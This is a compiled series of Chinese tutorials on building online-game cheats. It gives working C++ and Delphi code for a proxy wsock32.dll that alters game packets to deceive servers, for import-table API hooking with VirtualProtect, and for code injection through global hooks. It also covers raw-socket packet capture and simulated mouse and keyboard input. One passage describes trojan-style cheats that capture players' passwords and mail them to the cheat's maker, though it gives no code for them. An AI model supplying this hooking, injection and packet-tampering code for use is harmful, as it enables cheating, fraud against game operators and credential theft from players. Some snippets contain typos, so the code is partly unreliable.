(2) 新建文件 wsock32.h，按如下步骤输入代码：

① 加入相关变量声明：

```
HMODULE hModule=NULL; //模块句柄
```

```
char buffer[1000]; //缓冲区
FARPROC proc; //函数入口指针
```

② 定义指向原 WinSock 库中的所有函数地址的指针变量，因 WinSock 库共提供 70 多个函数，限于篇幅，在此就只选择几个常用的函数列出，有关这些库函数的说明可参考 MSDN 相关内容。

```
//定义指向原 WinSock 库函数地址的指针变量。
SOCKET (__stdcall *socket1)(int ,int,int);//创建 Sock 函数。
int    (__stdcall *WSAStartup1)(WORD,LPWSADATA);//初始化 WinSock 库函数。
int    (__stdcall *WSACleanup1)();//清除 WinSock 库函数。
int (__stdcall *recv1)(SOCKET ,char FAR * ,int ,int );//接收数据函数。
int (__stdcall *send1)(SOCKET ,const char * ,int ,int);//发送数据函数。
int (__stdcall *connect1)(SOCKET,const struct sockaddr *,int);//创建连接函数。
int (__stdcall *bind1)(SOCKET ,const struct sockaddr *,int );//绑定函数。
.....其它函数地址指针的定义略。
```

(3) 新建 wsock32.cpp 文件，按如下步骤输入代码：

① 加入相关头文件声明：

```
#include <windows.h>
#include <stdio.h>
#include "wsock32.h"
```

② 添加 DllMain 函数，在此函数中首先需要加载原 WinSock 库，并获取此库中所有函数的地址。代码如下：

```
BOOL WINAPI DllMain (HANDLE hInst,ULONG ul_reason_for_call,LPVOID lpReserved)
{
  if(hModule==NULL){
    //加载原 WinSock 库，原 WinSock 库已复制为 wsock32.001。
  hModule=LoadLibrary("wsock32.001");
}
    else return 1;
//获取原 WinSock 库中的所有函数的地址并保存，下面仅列出部分代码。
if(hModule&#33;=NULL){
    //获取原 WinSock 库初始化函数的地址，并保存到 WSAStartup1 中。
proc=GetProcAddress(hModule,"WSAStartup");
  WSAStartup1=(int (_stdcall *)(WORD,LPWSADATA))proc;
    //获取原 WinSock 库消除函数的地址，并保存到 WSACleanup1 中。
  proc=GetProcAddress(hModule i,"WSACleanup");
  WSACleanup1=(int (_stdcall *)())proc;
```

```
            //获取原创建 Sock 函数的地址，并保存到 socket1 中。
          proc=GetProcAddress(hModule,"socket");
            socket1=(SOCKET (_stdcall *)(int ,int,int))proc;
            //获取原创建连接函数的地址，并保存到 connect1 中。
            proc=GetProcAddress(hModule,"connect");
            connect1=(int (_stdcall *)(SOCKET ,const struct sockaddr *,int ))proc;
            //获取原发送函数的地址，并保存到 send1 中。
            proc=GetProcAddress(hModule,"send");
            send1=(int (_stdcall *)(SOCKET ,const char * ,int ,int ))proc;
            //获取原接收函数的地址，并保存到 recv1 中。
            proc=GetProcAddress(hModule,"recv");
            recv1=(int (_stdcall *)(SOCKET ,char FAR * ,int ,int ))proc;
            ......其它获取函数地址代码略。
        }
        else return 0;
        return 1;
}
```

③ 定义库输出函数，在此可以对我们感兴趣的函数中添加外挂控制代码，在所有的输出函数的最后一步都调用原 WinSock 库的同名函数。部分输出函数定义代码如下：

```
//库输出函数定义。
//WinSock 初始化函数。
          int PASCAL FAR WSAStartup(WORD wVersionRequired, LPWSADATA lpWSAData)
          {
            //调用原 WinSock 库初始化函数
            return WSAStartup1(wVersionRequired,lpWSAData);
          }
          //WinSock 结束清除函数。
          int PASCAL FAR WSACleanup(void)
          {
            return WSACleanup1(); //调用原 WinSock 库结束清除函数。
          }
          //创建 Socket 函数。
          SOCKET PASCAL FAR socket (int af, int type, int protocol)
          {
            //调用原 WinSock 库创建 Socket 函数。
            return socket1(af,type,protocol);
          }
          //发送数据包函数
          int PASCAL FAR send(SOCKET s,const char * buf,int len,int flags)
          {
        //在此可以对发送的缓冲 buf 的内容进行修改，以实现欺骗服务器。
        外挂代码.....
```

```
        //调用原 WinSock 库发送数据包函数。
            return send1(s,buf,len,flags);
          }
//接收数据包函数。
          int PASCAL FAR recv(SOCKET s, char FAR * buf, int len, int flags)
          {
        //在此可以挡截到服务器端发送到客户端的数据包，先将其保存到 buffer 中。
        strcpy(buffer,buf);
        //对 buffer 数据包数据进行分析后，对其按照玩家的指令进行相关修改。
        外挂代码.....
        //最后调用原 WinSock 中的接收数据包函数。
            return recv1(s, buffer, len, flags);
            }
          .....其它函数定义代码略。
```

(4)、新建 wsock32.def 配置文件，在其中加入所有库输出函数的声明，部分声明代码如下：

```
        LIBRARY "wsock32"
        EXPORTS
          WSAStartup @1
        WSACleanup @2
          recv @3
          send @4
          socket @5
        bind @6
        closesocket @7
        connect @8

        ......其它输出函数声明代码略。
```

(5)、从“工程”菜单中选择“设置”，弹出 Project Setting 对话框，选择 Link 标签，在“对象/库模块”中输入 Ws2_32.lib。

(6)、编译项目，产生 wsock32.dll 库文件。

(7)、将系统目录下原 wsock32.dll 库文件拷贝到被外挂程序的目录下，并将其改名为 wsock.001；再将上面产生的 wsock32.dll 文件同样拷贝到被外挂程序的目录下。重新启动游戏程序，此时游戏程序将先加载我们自己制作的 wsock32.dll 文件，再通过该库文件间接调用原 WinSock 接口函数来实现访问网络。上面我们仅仅介绍了挡载 WinSock 的实现过程，至于如何加入外挂控制代码，还需要外挂开发人员对游戏数据包结构、内容、加密算法等方面的仔细分析（这个过程将是一个艰辛的过程），再生成外挂控制代码。关于数据包分析方法和技巧，不是本文讲解的范围，如您感兴趣可以到网上查查相关资料。

g*oodmorning 收集整理(请勿删除)

游戏外挂设计技术探讨③

2.挡截 API

挡截 API 技术与挡截 WinSock 技术在原理上很相似，但是前者比后者提供了更强大的功能。挡截 WinSock 仅只能挡截 WinSock 接口函数，而挡截 API 可以实现对应用程序调用的包括 WinSock API 函数在内的所有 API 函数的挡截。如果您的外挂程序仅打算对 WinSock 的函数进行挡截的话，您可以只选择使用上小节介绍的挡截 WinSock 技术。随着大量外挂程序在功能上的扩展，它们不仅仅只提供对数据包的挡截，而且还对游戏程序中使用的 Windows API 或其它 DLL 库函数的挡截，以使外挂的功能更加强大。例如，可以通过挡截相关 API 函数以实现对非中文游戏的汉化功能，有了这个利器，可以使您的外挂程序无所不能了。

挡截 API 技术的原理核心也是使用我们自己的函数来替换掉 Windows 或其它 DLL 库提供的函数，有点同挡截 WinSock 原理相似吧。但是，其实现过程却比挡截 WinSock 要复杂的多，如像实现挡截 Winsock 过程一样，将应用程序调用的所有的库文件都写一个模拟库有点不大可能，就只说 Windows API 就有上千个，还有很多库提供的函数结构并未公开，所以写一个模拟库代替的方式不大现实，故我们必须另谋良方。

挡截 API 的最终目标是使用自定义的函数代替原函数。那么，我们首先应该知道应用程序何时、何地、用何种方式调用原函数。接下来，需要将应用程序中调用该原函数的指令代码进行修改，使它将调用函数的指针指向我们自己定义的函数地址。这样，外挂程序才能完全控制应用程序调用的 API 函数，至于在其中如何加入外挂代码，就应需求而异了。最后还有一个重要的问题要解决，如何将我们自定义的用来代替原 API 函数的函数代码注入被外挂游戏程序进行地址空间中，因在 Windows 系统中应用程序仅只能访问到本进程地址空间内的代码和数据。

综上所述，要实现挡截 API 函数，至少需要解决如下三个问题：

● 如何定位游戏程序中调用 API 函数指令代码？

● 如何修改游戏程序中调用 API 函数指令代码？

● 如何将外挂代码（自定义的替换函数代码）注入到游戏程序进程地址空间？

下面我们逐一介绍这几个问题的解决方法：

(1)、定位调用 API 函数指令代码

我们知道，在汇编语言中使用 CALL 指令来调用函数或过程的，它是通过指令参数中的函数地址而定位到相应的函数代码的。那么，我们如果能寻找到程序代码中所有调用被挡

截的 API 函数的 CALL 指令的话，就可以将该指令中的函数地址参数修改为替代函数的地址。虽然这是一个可行的方案，但是实现起来会很繁琐，也不稳健。庆幸的是，Windows 系统中所使用的可执行文件（PE 格式）采用了输入地址表机制，将所有在程序调用的 API 函数的地址信息存放在输入地址表中，而在程序代码 CALL 指令中使用的地址不是 API 函数的地址，而是输入地址表中该 API 函数的地址项，如想使程序代码中调用的 API 函数被代替掉，只用将输入地址表中该 API 函数的地址项内容修改即可。具体理解输入地址表运行机制，还需要了解一下 PE 格式文件结构，其中图三列出了 PE 格式文件的大致结构。

图三：PE 格式大致结构图(003.jpg)

PE 格式文件一开始是一段 DOS 程序，当你的程序在不支持 Windows 的环境中运行时，它就会显示“This Program cannot be run in DOS mode”这样的警告语句，接着这个 DOS 文件头，就开始真正的 PE 文件内容了。首先是一段称为“IMAGE_NT_HEADER”的数据，其中是许多关于整个 PE 文件的消息，在这段数据的尾端是一个称为 Data Directory 的数据表，通过它能快速定位一些 PE 文件中段（section）的地址。在这段数据之后，则是一个“IMAGE_SECTION_HEADER”的列表，其中的每一项都详细描述了后面一个段的相关信息。接着它就是 PE 文件中最主要的段数据了，执行代码、数据和资源等等信息就分别存放在这些段中。

在所有的这些段里，有一个被称为“.idata”的段（输入数据段）值得我们去注意，该段中包含着一些被称为输入地址表（IAT，Import Address Table）的数据列表。每个用隐式方式加载的 API 所在的 DLL 都有一个 IAT 与之对应，同时一个 API 的地址也与 IAT 中一项相对应。当一个应用程序加载到内存中后，针对每一个 API 函数调用，相应的产生如下的汇编指令：

JMP DWORD PTR [XXXXXXXX]

或

CALL DWORD PTR [XXXXXXXX]

其中，[XXXXXXXX]表示指向了输入地址表中一个项，其内容是一个 DWORD，而正是这个 DWORD 才是 API 函数在内存中的真正地址。因此我们要想拦截一个 API 的调用，只要简单的把那个 DWORD 改为我们自己的函数的地址。

(2)、修改调用 API 函数代码

从上面对 PE 文件格式的分析可知，修改调用 API 函数代码其实是修改被调用 API 函数在输入地址表中 IAT 项内容。由于 Windows 系统对应用程序指令代码地址空间的严密保护机制，使得修改程序指令代码非常困难，以至于许多高手为之编写 VxD 进入 Ring0。在这里，我为大家介绍一种较为方便的方法修改进程内存，它仅需要调用几个 Windows 核心 API 函数，下面我首先来学会一下这几个 API 函数：

```
DWORD VirtualQuery(
LPCVOID lpAddress, // address of region
PMEMORY_BASIC_INFORMATION lpBuffer, // information buffer
DWORD dwLength // size of buffer
);
```

该函数用于查询关于本进程内虚拟地址页的信息。其中，lpAddress 表示被查询页的区域地址；lpBuffer 表示用于保存查询页信息的缓冲；dwLength 表示缓冲区大小。返回值为实际缓冲大小。

```
BOOL VirtualProtect(
LPVOID lpAddress, // region of committed pages
SIZE_T dwSize, // size of the region
DWORD flNewProtect, // desired access protection
PDWORD lpflOldProtect // old protection
);
```

该函数用于改变本进程内虚拟地址页的保护属性。其中，lpAddress 表示被改变保护属性页区域地址；dwSize 表示页区域大小；flNewProtect 表示新的保护属性，可取值为 PAGE_READONLY、PAGE_READWRITE、PAGE_EXECUTE 等；lpflOldProtect 表示用于保存改变前的保护属性。如果函数调用成功返回“T”，否则返回“F”。

有了这两个 API 函数，我们就可以随心所欲的修改进程内存了。首先，调用 VirtualQuery()函数查询被修改内存的页信息，再根据此信息调用 VirtualProtect()函数改变这些页的保护属性为 PAGE_READWRITE，有了这个权限您就可以任意修改进程内存数据了。下面一段代码演示了如何将进程虚拟地址为 0x0040106c 处的字节清零。

```
BYTE* pData = 0x0040106c;
MEMORY_BASIC_INFORMATION mbi_thunk;
//查询页信息。
VirtualQuery(pData, &mbi_thunk, sizeof(MEMORY_BASIC_INFORMATION));
//改变页保护属性为读写。
VirtualProtect(mbi_thunk.BaseAddress,mbi_thunk.RegionSize,
PAGE_READWRITE, &mbi_thunk.Protect);
//清零。
*pData = 0x00;
//恢复页的原保护属性。
DWORD dwOldProtect;
VirtualProtect(mbi_thunk.BaseAddress,mbi_thunk.RegionSize,
mbi_thunk.Protect, &dwOldProtect);
```

(3)、注入外挂代码进入被挂游戏进程中

完成了定位和修改程序中调用 API 函数代码后，我们就可以随意设计自定义的 API 函

数的替代函数了。做完这一切后，还需要将这些代码注入到被外挂游戏程序进程内存空间中，不然游戏进程根本不会访问到替代函数代码。注入方法有很多，如利用全局钩子注入、利用注册表注入挡截 User32 库中的 API 函数、利用 CreateRemoteThread 注入（仅限于 NT/2000）、利用 BHO 注入等。因为我们在动作模拟技术一节已经接触过全局钩子，我相信聪明的读者已经完全掌握了全局钩子的制作过程，所以我们在后面的实例中，将继续利用这个全局钩子。至于其它几种注入方法，如果感兴趣可参阅 MSDN 有关内容。

有了以上理论基础，我们下面就开始制作一个挡截 MessageBoxA 和 recv 函数的实例，在开发游戏外挂程序 时，可以此实例为框架，加入相应的替代函数和处理代码即可。此实例的开发过程如下：

(1) 打开前面创建的 ActiveKey 项目。

(2) 在 ActiveKey.h 文件中加入 HOOKAPI 结构，此结构用来存储被挡截 API 函数名称、原 API 函数地址和替代函数地址。

```
typedef struct tag_HOOKAPI
{
LPCSTR szFunc;//被 HOOK 的 API 函数名称。
PROC pNewProc;//替代函数地址。
PROC pOldProc;//原 API 函数地址。
}HOOKAPI, *LPHOOKAPI;
```

(3) 打开 ActiveKey.cpp 文件，首先加入一个函数，用于定位输入库在输入数据段中的 IAT 地址。代码如下：

```
extern "C" __declspec(dllexport)PIMAGE_IMPORT_DESCRIPTOR
LocationIAT(HMODULE hModule, LPCSTR szImportMod)
//其中，hModule 为进程模块句柄；szImportMod 为输入库名称。
{
//检查是否为 DOS 程序，如是返回 NULL，因 DOS 程序没有 IAT。
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER) hModule;
if(pDOSHeader->e_magic &#33;= IMAGE_DOS_SIGNATURE) return NULL;
  //检查是否为 NT 标志，否则返回 NULL。
        PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS) ((DWORD)pDOSHeader+ (DWORD)(pDOSHeader->e_lfanew));
  if(pNTHeader->Signature &#33;= IMAGE_NT_SIGNATURE) return NULL;
  //没有 IAT 表则返回 NULL。
                                                    if(pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0) return NULL;
  //定位第一个 IAT 位置。
                        PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)pDOSHeader + (DWORD)(pNTHeader-
```

```
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
        //根据输入库名称循环检查所有的 IAT，如匹配则返回该 IAT 地址，否则检测下一个 IAT。
        while (pImportDesc->Name)
        {
          //获取该 IAT 描述的输入库名称。
         PSTR szCurrMod = (PSTR)((DWORD)pDOSHeader + (DWORD)(pImportDesc->Name));
      if (stricmp(szCurrMod, szImportMod) == 0) break;
      pImportDesc++;
        }
        if(pImportDesc->Name == NULL) return NULL;
      return pImportDesc;
      }
```

再加入一个函数，用来定位被挡截 API 函数的 IAT 项并修改其内容为替代函数地址。代码如下：

```
      extern "C" __declspec(dllexport)
         HookAPIByName( HMODULE hModule, LPCSTR szImportMod, LPHOOKAPI pHookApi)
       //其中，hModule 为进程模块句柄；szImportMod 为输入库名称；pHookAPI 为 HOOKAPI 结构指针。
      {
        //定位 szImportMod 输入库在输入数据段中的 IAT 地址。
              PIMAGE_IMPORT_DESCRIPTOR pImportDesc = LocationIAT(hModule, szImportMod);
    if (pImportDesc == NULL) return FALSE;
        //第一个 Thunk 地址。
                PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((DWORD)hModule + (DWORD)(pImportDesc->OriginalFirstThunk));
     //第一个 IAT 项的 Thunk 地址。
                PIMAGE_THUNK_DATA pRealThunk = (PIMAGE_THUNK_DATA)((DWORD)hModule + (DWORD)(pImportDesc->FirstThunk));
        //循环查找被截 API 函数的 IAT 项，并使用替代函数地址修改其值。
      while(pOrigThunk->u1.Function)
{
  //检测此 Thunk 是否为 IAT 项。
if((pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) &amp;#33;= IMAGE_ORDINAL_FLAG)
{
  //获取此 IAT 项所描述的函数名称。
      PIMAGE_IMPORT_BY_NAME pByName =(PIMAGE_IMPORT_BY_NAME)((DWORD)hModule+(DWORD)(pOrigThunk->u1.AddressOfData));
```

```
   if(pByName->Name[0] == &#39;\0&#39;) return FALSE;
      //检测是否为挡截函数。
if(strcmpi(pHookApi->szFunc, (char*)pByName->Name) == 0)
    {
                    MEMORY_BASIC_INFORMATION mbi_thunk;
                    //查询修改页的信息。
                                                    VirtualQuery(pRealThunk,        &mbi_thunk,
sizeof(MEMORY_BASIC_INFORMATION));
//改变修改页保护属性为 PAGE_READWRITE。
                                        VirtualProtect(mbi_thunk.BaseAddress,mbi_thunk.RegionSize,
PAGE_READWRITE, &mbi_thunk.Protect);
//保存原来的 API 函数地址。
                if(pHookApi->pOldProc == NULL)
pHookApi->pOldProc = (PROC)pRealThunk->u1.Function;
    //修改 API 函数 IAT 项内容为替代函数地址。
pRealThunk->u1.Function = (PDWORD)pHookApi->pNewProc;
//恢复修改页保护属性。
DWORD dwOldProtect;
                                    VirtualProtect(mbi_thunk.BaseAddress,    mbi_thunk.RegionSize,
mbi_thunk.Protect, &dwOldProtect);
                }
}
    pOrigThunk++;
    pRealThunk++;
}
      SetLastError(ERROR_SUCCESS); //设置错误为 ERROR_SUCCESS，表示成功。
      return TRUE;
         }
```

(4) 定义替代函数，此实例中只给 MessageBoxA 和 recv 两个 API 进行挡截。代码如下：

```
          static int WINAPI MessageBoxA1 (HWND hWnd , LPCTSTR lpText, LPCTSTR
lpCaption, UINT uType)
         {
           //过滤掉原 MessageBoxA 的正文和标题内容，只显示如下内容。
return MessageBox(hWnd, "Hook API OK&#33;", "Hook API", uType);
         }
         static int WINAPI recv1(SOCKET s, char FAR *buf, int len, int flags )
         {
         //此处可以挡截游戏服务器发送来的网络数据包，可以加入分析和处理数据代码。
         return recv(s,buf,len,flags);
         }
```

(5) 在 KeyboardProc 函数中加入激活挡截 API 代码，在 if(wParam == 0X79)语句中后

面加入如下 else if 语句：

```
        ......
        //当激活 F11 键时，启动挡截 API 函数功能。
        else if( wParam == 0x7A )
        {
           HOOKAPI api[2];
api[0].szFunc ="MessageBoxA";//设置被挡截函数的名称。
api[0].pNewProc = (PROC)MessageBoxA1;//设置替代函数的地址。
api[1].szFunc ="recv";//设置被挡截函数的名称。
api[1].pNewProc = (PROC)recv1; //设置替代函数的地址。
//设置挡截 User32.dll 库中的 MessageBoxA 函数。
HookAPIByName(GetModuleHandle(NULL),"User32.dll",&api[0]);
//设置挡截 Wsock32.dll 库中的 recv 函数。
HookAPIByName(GetModuleHandle(NULL),"Wsock32.dll",&api[1]);
        }
        ......
```

(6) 在 ActiveKey.cpp 中加入头文件声明 "#include "wsock32.h"。 从“工程”菜单中选择“设置”，弹出 Project Setting 对话框，选择 Link 标签，在“对象/库模块”中输入 Ws2_32..lib。

(7) 重新编译 ActiveKey 项目，产生 ActiveKey.dll 文件，将其拷贝到 Simulate.exe 目录下。运行 Simulate.exe 并启动全局钩子。激活任意应用程序，按 F11 键后，运行此程序中可能调用 MessageBoxA 函数的操作，看看信息框是不是有所变化。同样，如此程序正在接收网络数据包，就可以实现封包功能了。

六、结束语

除了以上介绍的几种游戏外挂程序常用的技术以外，在一些外挂程序中还使用了游戏数据修改技术、游戏加速技术等。在这篇文章里，就不逐一介绍了。

goodmorning 收集整理(请勿删*除)

网络游戏外挂核心封包揭密

网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一，在这里就让我们一起研究一下这一个问题吧。

别看这是封包这一问题，但是涉及的技术范围很广范，实现的方式也很多（比如说 APIHOOK,VXD,Winsock2 都可以实现），在这里我们不可能每种技术和方法都涉及，所以我在这里以 Winsock2 技术作详细讲解，就算作抛砖引玉。

由于大多数读者对封包类编程不是很了解，我在这里就简单介绍一下相关知识：

APIHooK：

由于 Windows 的把内核提供的功能都封装到 API 里面，所以大家要实现功能就必须通过 API，换句话说就是我们要想捕获数据封包，就必须先要得知道并且捕获这个 API，从 API 里面得到封包信息。

VXD：

直接通过控制 VXD 驱动程序来实现封包信息的捕获，不过 VXD 只能用于 win9X。

winsock2：

winsock 是 Windows 网络编程接口，winsock 工作在应用层，它提供与底层传输协议无关的高层数据传输编程接口，winsock2 是 winsock2.0 提供的服务提供者接口，但只能在 win2000 下用。

好了，我们开始进入 winsock2 封包式编程吧。

在封包编程里面我准备分两个步骤对大家进行讲解：1、封包的捕获，2、封包的发送。

首先我们要实现的是封包的捕获：

Delphi 的封装的 winsock 是 1.0 版的，很自然 winsock2 就用不成。如果要使用 winsock2 我们要对 winsock2 在 Delphi 里面做一个接口，才可以使用 winsock2。

1、如何做 winsock2 的接口？

1）我们要先定义 winsock2.0 所用得到的类型，在这里我们以 WSA_DATA 类型做示范，大家可以举一仿三的来实现 winsock2 其他类型的封装。

我们要知道 WSA_DATA 类型会被用于 WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;，大家会发现 WSData 是引用参数，在传入参数时传的是变量的地址，所以我们对 WSA_DATA 做以下封装：

```
const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
type
PWSA_DATA = ^TWSA_DATA;
WSA_DATA = record
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
```

```
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSA_DATA = WSA_DATA;
```

2）我们要从 WS2_32.DLL 引入 winsock2 的函数，在此我们也是以 WSAStartup 为例做函数引入：

```
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
implementation

const WinSocket2 = &#39;WS2_32.DLL&#39;;
function WSAStartup; external winsocket name &#39;WSAStartup&#39;;
```

通过以上方法，我们便可以对 winsock2 做接口，下面我们就可以用 winsock2 做封包捕获了，不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题，所以我们在这里以 IP 数据包为例做封包捕获，如果下面的某些数据类型您不是很清楚，请您查阅 MSDN：

1）我们要起动 WSA，这时个要用到的 WSAStartup 函数，用法如下：

```
INTEGER WSAStartup(
  wVersionRequired: word，
  WSData: TWSA_DATA
)；
```

2）使用 socket 函数得到 socket 句柄，m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下：

```
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);

m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);
```

在程序里 m_hSocket 为 socket 句柄，AF_INET，SOCK_RAW，IPPROTO_IP 均为常量。

3)定义 SOCK_ADDR 类型，跟据我们的网卡 IP 给 Sock_ADDR 类型附值，然后我们使用 bind 函数来绑定我们的网卡，Bind 函数用法如下：

```
Type
```

```
IN_ADDR = record
S_addr : PChar;
End;

Type
TSOCK_ADDR = record
sin_family: Word;
sin_port: Word;
sin_addr : IN_ADDR
sin_zero: array[0..7] of Char;
End;

var
LocalAddr:TSOCK_ADDR;

LocalAddr.sin_family: = AF_INET;
LocalAddr.sin_port: = 0;
LocalAddr.sin_addr.S_addr: = inet_addr(&#39;192.168.1.1&#39;); // 这里你自己的网卡的 IP 地址,而 inet_addr 这个函数是 winsock2 的函数。

bind(m_hSocket, LocalAddr, sizeof(LocalAddr));
```

4)用 WSAIoctl 来注册 WSA 的输入输出组件，其用法如下：

```
INTEGER WSAIoctl(s:INTEGER,
dwIoControlCode : INTEGER,
lpvInBuffer :INTEGER,
cbInBuffer : INTEGER,
lpvOutBuffer : INTEGER,
cbOutBuffer: INTEGER,
lpcbBytesReturned : INTEGER,
lpOverlapped : INTEGER,
lpCompletionRoutine : INTEGER
);
```

5)下面做死循环，在死循环块里，来实现数据的接收。但是徇环中间要用 Sleep()做延时，不然程序会出错。

6)在循环块里，用 recv 函数来接收数据，recv 函数用法如下：

```
INTEGER recv (s : INTEGER,
buffer:Array[0..4095] of byte,
length : INTEGER,
flags : INTEGER,
```

);

7)在 buffer 里就是我们接收回来的数据了，如果我们想要知道数据是什么地方发来的，那么，我们要定义一定 IP 包结构，用 CopyMemory()把 IP 信息从 buffer 里面读出来就可以了，不过读出来的是十六进制的数据需要转换一下。

看了封包捕获的全过程序，对你是不是有点起发，然而在这里要告诉大家的是封包的获得是很容易的，但是许多游戏的封包都是加密的，如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。

goodmorni*ng 收集整理(请勿删除)

四种网络游戏外挂的设计方法

在几年前我看到别人玩网络游戏用上了外挂，做为程序员的我心里实在是不爽，想搞清楚这到底是怎么回事。就拿了一些来研究，小有心得，拿出来与大家共享，外挂无非就是分几种罢了（依制作难度）：

1、动作式，所谓动作式，就是指用 API 发命令给窗口或 API 控制鼠标、键盘等，使游戏里的人物进行流动或者攻击，最早以前的“石器”外挂就是这种方式。（这种外挂完全是垃圾，TMD，只要会一点点 API 的人都知道该怎么做，不过这种外挂也是入门级的好东东，虽然不能提高你的战斗力，但是可以提高你的士气）

2、本地修改式，这种外挂跟传统上的一些游戏修改器没有两样，做这种外挂在编程只需要对内存地址有一点认识并且掌握 API 就可以实现，“精灵”的外挂这是这种方式写成的，它的难点在于找到那些地址码，找地址一般地要借助于别人的工具，有的游戏还有双码校验，正正找起来会比较困难。（这种外挂，比上一种有一点点难度，但是这种外挂做起来能够用，也是有一定难度的啦~~，这种外挂可以很快提升你对内存地址的理解及应用，是你编程技术提高的好东东）

3、木马式，这种外挂的目的是帮外挂制作者偷到用户的密码（TMD，“烂”就一个字，不过要知已知彼所以还是要谈一下啦~~），做这种外挂有一定的难度，需要 HOOK 或键盘监视技术做底子，才可以完成，它的原理是先首截了用户的帐号或密码，然后发到指定邮箱。（我以前写过这样的东东，但是从来没有用过，我知道这种东东很不道德，所以以后千万别用呀！）

4、加速式，这种外挂可以加快游戏的速度……（对不起大家，这种东东我没有实际做过，所以不能妄自评，惭愧）

这几种外挂之中，前三种可以用 VB，Delphi 等语言比较好实现，后两种则要用 VC 等底层支持比较好的编程工具才好实现。

动作式外挂

首先，先来谈一下动作式的外挂，这也是我第一次写外挂时做的最简单的一种。

记得还在“石器”时代的时候，我看到别人挂着一种软件（外挂）人物就可以四外游走（当时我还不知道外挂怎么回事），于是找了这种软件过来研究（拿来后才听别人说这叫外挂），发现这种东东其实实现起来并不难，仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已，看后就有实现这功能的冲动，随后跑到 MSDN 上看了一些资料，发现这种实现这几个功能，只需要几个简单的 API 函数就可以搞定：

1、首先我们要知道现在鼠标的位置（为了好还原现在鼠标的位置）所以我们就要用到 API 函数 GetCursorPos，它的使用方法如下：

```
BOOL GetCursorPos(
LPPOINT lpPoint // address of structure for cursor position
);
```

2、我们把鼠标的位置移到要到人物走到的地方，我们就要用到 SetCursorPos 函数来移动鼠标位置，它的使用方法如下：

```
BOOL SetCursorPos(

int X, // horizontal position
int Y // vertical position
);
```

3、模拟鼠标发出按下和放开的动作，我们要用到 mouse_event 函数来实现，具休使用方法用下：

```
VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);
```

在它的 dwFlags 处，可用的事件很多如移动 MOUSEEVENTF_MOVE，左键按下 MOUSEEVENTF_LEFTDOWN，左键放开 MOUSEEVENTF_LEFTUP，具体的东东还是查一下 MSDN 吧~~~~~

好了，有了前面的知识，我们就可以来看看人物移走是怎么实现的了：

```
getcursorpos(point);
```

```
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint 是个自制的随机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);
```

看了以上的代码，是不是觉得人物的游走很简单啦~~，举一仿三，还有好多好东东可以用这个技巧实现（我早就说过，TMD，这是垃圾外挂的做法，相信了吧~~~），接下来，再看看游戏里面自动攻击的做法吧（必需游戏中攻击支持快捷键的），道理还是一样的，只是用的 API 不同罢了~~~，这回我们要用到的是 keybd_event 函数，其用法如下：

```
VOID keybd_event(

BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
```

我们还要知道扫描码不可以直接使用，要用函数 MapVirtualKey 把键值转成扫描码，MapVirtualKey 的具体使用方法如下：

```
UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform
);
```

好了，比说此快接键是 CTRL+A，接下来让我们看看实际代码是怎么写的：

```
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);
```

首先模拟按下了 CTRL 键，再模拟按下 A 键，再模拟放开 A 键，最后放开 CTRL 键，这就是一个模拟按快捷键的周期。

（看到这里，差不多对简易外挂有了一定的了解了吧~~~~做一个试试？如果你举一仿三还能有更好的东东出来，这就要看你的领悟能力了~~，不过不要高兴太早这只是才开始，以后还有更复杂的东东等着你呢~~）

本地修改式外挂

现在我们来看看，比动作式外挂更进一步的外挂--本地修改式外挂的整个制作过程进行一个详细的分解。

具我所知，本地修改式外挂最典型的应用就是在“精灵”游戏上面，因为我在近一年前（“精灵”还在测试阶段），我所在的公司里有很多同事玩“精灵”，于是我看了一下游戏的数据处理方式，发现它所发送到服务器上的信息是存在于内存当中（我看后第一个感受是修改这种游戏和修改单机版的游戏没有多大分别，换句话说就是在他向服务器提交信息之前修改了内存地址就可以了），当时我找到了地址于是修改了内存地址，果然，按我的想法修改了地址，让系统自动提交后，果然成功了~~~~~，后来“精灵”又改成了双地址校检，内存校检等等，在这里我就不废话了~~~~，OK，我们就来看看这类外挂是如何制作的：

